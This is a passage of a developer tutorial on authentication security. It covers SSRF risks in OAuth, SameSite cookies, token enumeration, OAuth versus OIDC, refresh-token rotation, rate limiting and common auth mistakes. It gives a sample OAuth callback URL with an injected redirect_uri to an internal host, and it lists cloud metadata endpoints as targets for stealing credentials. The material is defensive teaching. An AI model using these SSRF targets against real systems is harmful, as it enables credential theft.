    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token_endpoint&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;code&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If attacker controls &lt;code&gt;token_endpoint&lt;/code&gt;, they can point it to internal services.&lt;/p&gt;

&lt;h3&gt;
  
  
  OAuth Callbacks
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Legitimate: https://app.com/callback?code=abc123
Attack:     https://app.com/callback?code=abc123&amp;amp;redirect_uri=http://internal-admin/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Metadata Service Abuse (Cloud Environments)
&lt;/h3&gt;

&lt;p&gt;Cloud providers expose metadata at predictable URLs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AWS: &lt;code&gt;http://169.254.169.254/latest/meta-data/&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;GCP: &lt;code&gt;http://metadata.google.internal/&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Azure: &lt;code&gt;http://169.254.169.254/metadata/&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If your auth service has SSRF, attackers can steal cloud credentials.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Auth Services Are High-Value SSRF Targets
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Often have elevated permissions&lt;/li&gt;
&lt;li&gt;Connect to multiple external services&lt;/li&gt;
&lt;li&gt;Handle sensitive tokens and secrets&lt;/li&gt;
&lt;li&gt;May have access to internal APIs&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  SameSite Cookies: Lax vs Strict vs None
&lt;/h2&gt;

&lt;p&gt;Browser-level CSRF protection.&lt;/p&gt;

&lt;h3&gt;
  
  
  Non-Tech Explanation
&lt;/h3&gt;

&lt;p&gt;You can tell the browser: "Only send my cookie if the request comes from my own website."&lt;/p&gt;

&lt;h3&gt;
  
  
  Comparison
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;SameSite&lt;/th&gt;
&lt;th&gt;Cross-Site GET&lt;/th&gt;
&lt;th&gt;Cross-Site POST&lt;/th&gt;
&lt;th&gt;Use Case&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Strict&lt;/td&gt;
&lt;td&gt;❌ Blocked&lt;/td&gt;
&lt;td&gt;❌ Blocked&lt;/td&gt;
&lt;td&gt;Maximum security (may break OAuth)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lax&lt;/td&gt;
&lt;td&gt;✅ Allowed&lt;/td&gt;
&lt;td&gt;❌ Blocked&lt;/td&gt;
&lt;td&gt;Good balance&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;✅ Allowed&lt;/td&gt;
&lt;td&gt;✅ Allowed&lt;/td&gt;
&lt;td&gt;Third-party embeds (requires Secure)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Why Lax Is Often the Real-World Choice
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Strict breaks&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;OAuth redirects (user clicks link from email → no cookie → logged out)&lt;/li&gt;
&lt;li&gt;External links to your app&lt;/li&gt;
&lt;li&gt;Payment callbacks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Lax protects against&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CSRF POST attacks&lt;/li&gt;
&lt;li&gt;Most dangerous cross-site actions&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  OAuth and Redirect Implications
&lt;/h3&gt;

&lt;p&gt;OAuth flow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. User on app.com → redirected to google.com
2. User authenticates
3. Google redirects back to app.com/callback
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With &lt;code&gt;SameSite=Strict&lt;/code&gt;: Step 3 won't include cookies (redirect = cross-site navigation).&lt;br&gt;&lt;br&gt;
With &lt;code&gt;SameSite=Lax&lt;/code&gt;: Works correctly (top-level navigation allowed).&lt;/p&gt;


&lt;h2&gt;
  
  
  Why Logout Must Always Succeed
&lt;/h2&gt;

&lt;p&gt;Subtle security issue often overlooked.&lt;/p&gt;
&lt;h3&gt;
  
  
  Non-Tech Explanation
&lt;/h3&gt;

&lt;p&gt;If you ask "Is this key valid?" and the answer is "No such key exists," you just learned something you shouldn't.&lt;/p&gt;
&lt;h3&gt;
  
  
  Token Existence Leaks
&lt;/h3&gt;

&lt;p&gt;❌ &lt;strong&gt;Bad implementation&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;logout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nf"&gt;token_exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;error&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Token not found&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;
    &lt;span class="nf"&gt;revoke&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;success&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Attacker can enumerate valid tokens by checking responses.&lt;/p&gt;

&lt;p&gt;✅ &lt;strong&gt;Correct implementation&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;logout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;revoke_if_exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# Silent if not found
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;success&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;  &lt;span class="c1"&gt;# Always succeed
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Security Over UX Correctness
&lt;/h3&gt;

&lt;p&gt;Sometimes "correct" behavior is insecure:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Telling users "email not registered" helps attackers enumerate accounts&lt;/li&gt;
&lt;li&gt;Returning different errors for "wrong password" vs "user not found" leaks info&lt;/li&gt;
&lt;li&gt;Logout failing on invalid token confirms token validity&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Design for silence&lt;/strong&gt;: Don't reveal internal state through responses.&lt;/p&gt;




&lt;h2&gt;
  
  
  OAuth Is Not a Login System
&lt;/h2&gt;

&lt;p&gt;Common misconception causes real vulnerabilities.&lt;/p&gt;

&lt;h3&gt;
  
  
  Non-Tech Explanation
&lt;/h3&gt;

&lt;p&gt;OAuth is like a valet key - it gives limited access to your car, but it doesn't prove you own the car.&lt;/p&gt;

&lt;h3&gt;
  
  
  What OAuth Solves
&lt;/h3&gt;

&lt;p&gt;OAuth answers: &lt;em&gt;"Does this user allow App X to access their data on Service Y?"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;OAuth does NOT answer: &lt;em&gt;"Who is this user?"&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Common Misconceptions
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;What Developers Think&lt;/th&gt;
&lt;th&gt;Reality&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;OAuth = Login&lt;/td&gt;
&lt;td&gt;OAuth = Authorization (not authentication)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Access token = User ID&lt;/td&gt;
&lt;td&gt;Access token = Permission grant&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;"Login with Google" = OAuth&lt;/td&gt;
&lt;td&gt;That's OpenID Connect (OAuth + identity layer)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  The Security Problem
&lt;/h3&gt;

&lt;p&gt;Using OAuth access tokens as identity proof:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# ❌ Dangerous
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;access_token&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Token only proves authorization, not identity
&lt;/span&gt;    &lt;span class="n"&gt;user_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;google&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_user_info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;access_token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;login_as&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;email&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Token might be:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Issued to a different app&lt;/li&gt;
&lt;li&gt;Stolen from another context&lt;/li&gt;
&lt;li&gt;Issued for different permissions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Use &lt;strong&gt;OpenID Connect&lt;/strong&gt; (OIDC) for authentication. It adds &lt;code&gt;id_token&lt;/code&gt; which proves identity.&lt;/p&gt;




&lt;h2&gt;
  
  
  How Attackers Abuse Broken Refresh Flows
&lt;/h2&gt;

&lt;p&gt;Refresh tokens are long-term credentials. Broken flows = persistent access.&lt;/p&gt;

&lt;h3&gt;
  
  
  Token Replay
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Scenario&lt;/strong&gt;: No rotation, tokens work until expiry&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Day 1: Attacker steals refresh token
Day 30: Token still works
Day 60: Token still works
Day 90: Finally expires
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three months of silent access.&lt;/p&gt;

&lt;h3&gt;
  
  
  Silent Session Hijacking
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;With broken implementation&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Attacker steals token&lt;/li&gt;
&lt;li&gt;Attacker uses it periodically&lt;/li&gt;
&lt;li&gt;Legitimate user never notices (their session still works)&lt;/li&gt;
&lt;li&gt;No detection, no logs, no alerts&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;With proper rotation&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Attacker steals token&lt;/li&gt;
&lt;li&gt;Legitimate user refreshes → old token revoked&lt;/li&gt;
&lt;li&gt;Attacker tries stolen token → DETECTED&lt;/li&gt;
&lt;li&gt;All tokens revoked, security alert generated&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Long-Term Account Takeover
&lt;/h3&gt;

&lt;p&gt;Without revocation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Change password? Attacker still has valid token&lt;/li&gt;
&lt;li&gt;Security concern? No way to kill existing sessions&lt;/li&gt;
&lt;li&gt;Data breach? All issued tokens still work&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Brute Force, Rate Limiting &amp;amp; Audit Logs
&lt;/h2&gt;

&lt;p&gt;Authentication security isn't just cryptography.&lt;/p&gt;

&lt;h3&gt;
  
  
  Non-Tech Explanation
&lt;/h3&gt;

&lt;p&gt;Even the strongest lock can be picked if you give a thief unlimited attempts and no one watches them try.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Detection Matters
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Protection Layer&lt;/th&gt;
&lt;th&gt;What It Prevents&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Strong passwords&lt;/td&gt;
&lt;td&gt;Easy guessing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Proper hashing (Argon2)&lt;/td&gt;
&lt;td&gt;Offline cracking&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rate limiting&lt;/td&gt;
&lt;td&gt;Automated attacks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Account lockout&lt;/td&gt;
&lt;td&gt;Sustained brute force&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Audit logging&lt;/td&gt;
&lt;td&gt;Silent compromise&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Implementing Defense in Depth
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;authenticate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# 1. Rate limiting
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;is_rate_limited&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Too many attempts&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 2. Account lockout
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;is_locked&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Account locked&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 3. Actual authentication
&lt;/span&gt;    &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;verify_credentials&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 4. Audit logging (always)
&lt;/span&gt;    &lt;span class="nf"&gt;log_auth_event&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SUCCESS&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;FAILED&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 5. Track failures
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;record_failed_attempt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Audit Logs Enable Incident Response
&lt;/h3&gt;

&lt;p&gt;Without logs:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"We think there was unauthorized access sometime last month."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;With logs:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"At 3:47 AM on March 15, IP 192.168.1.100 successfully authenticated as &lt;a href="mailto:admin@example.com"&gt;admin@example.com&lt;/a&gt; after 47 failed attempts from IP 45.33.32.156."&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Admin Authentication Is a Different Problem
&lt;/h2&gt;

&lt;p&gt;Admin access requires different security controls.&lt;/p&gt;

&lt;h3&gt;
  
  
  Non-Tech Explanation
&lt;/h3&gt;

&lt;p&gt;The security guard at the front desk doesn't need the same clearance as someone entering the vault.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Admin ≠ User Auth
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Aspect&lt;/th&gt;
&lt;th&gt;User Auth&lt;/th&gt;
&lt;th&gt;Admin Auth&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Attack surface&lt;/td&gt;
&lt;td&gt;Public internet&lt;/td&gt;
&lt;td&gt;Should be restricted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Threat actors&lt;/td&gt;
&lt;td&gt;General attackers&lt;/td&gt;
&lt;td&gt;Targeted attacks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Risk level&lt;/td&gt;
&lt;td&gt;Account compromise&lt;/td&gt;
&lt;td&gt;System compromise&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Protection&lt;/td&gt;
&lt;td&gt;Application-level&lt;/td&gt;
&lt;td&gt;Infrastructure-level&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Network-Layer Protection in Real Systems
&lt;/h3&gt;

&lt;p&gt;Production admin access should be protected by:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;IP allowlists&lt;/strong&gt;: Only office/VPN IPs can access admin&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;VPN requirement&lt;/strong&gt;: Admin panel not on public internet&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Zero Trust&lt;/strong&gt;: Every request verified, no implicit trust&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bastion hosts&lt;/strong&gt;: Admin access only through hardened jump servers&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Network segmentation&lt;/strong&gt;: Admin services on separate network&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Why This Matters
&lt;/h3&gt;

&lt;p&gt;Your user auth can be perfect, but if admin is accessible from the internet with just a password, one phished credential = game over.&lt;/p&gt;




&lt;h2&gt;
  
  
  Common Authentication Mistakes Developers Make
&lt;/h2&gt;

&lt;p&gt;The hits list of auth failures.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. localStorage Tokens
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ❌ XSS can steal this&lt;/span&gt;
&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;token&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;access_token&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why it's bad&lt;/strong&gt;: Any XSS vulnerability = complete token theft.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. No Rotation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# ❌ Same token forever
&lt;/span&gt;&lt;span class="n"&gt;refresh_token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;generate_token&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nf"&gt;save_to_db&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;refresh_token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;expires&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;timedelta&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;days&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why it's bad&lt;/strong&gt;: Stolen tokens work until expiry.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Leaky Error Messages
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# ❌ Reveals user existence
&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nf"&gt;user_exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;error&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;User not found&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;password_matches&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;error&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Wrong password&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why it's bad&lt;/strong&gt;: Attackers can enumerate valid emails.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Over-Trusting JWT
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# ❌ No verification of token revocation
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# Only checks signature and expiry
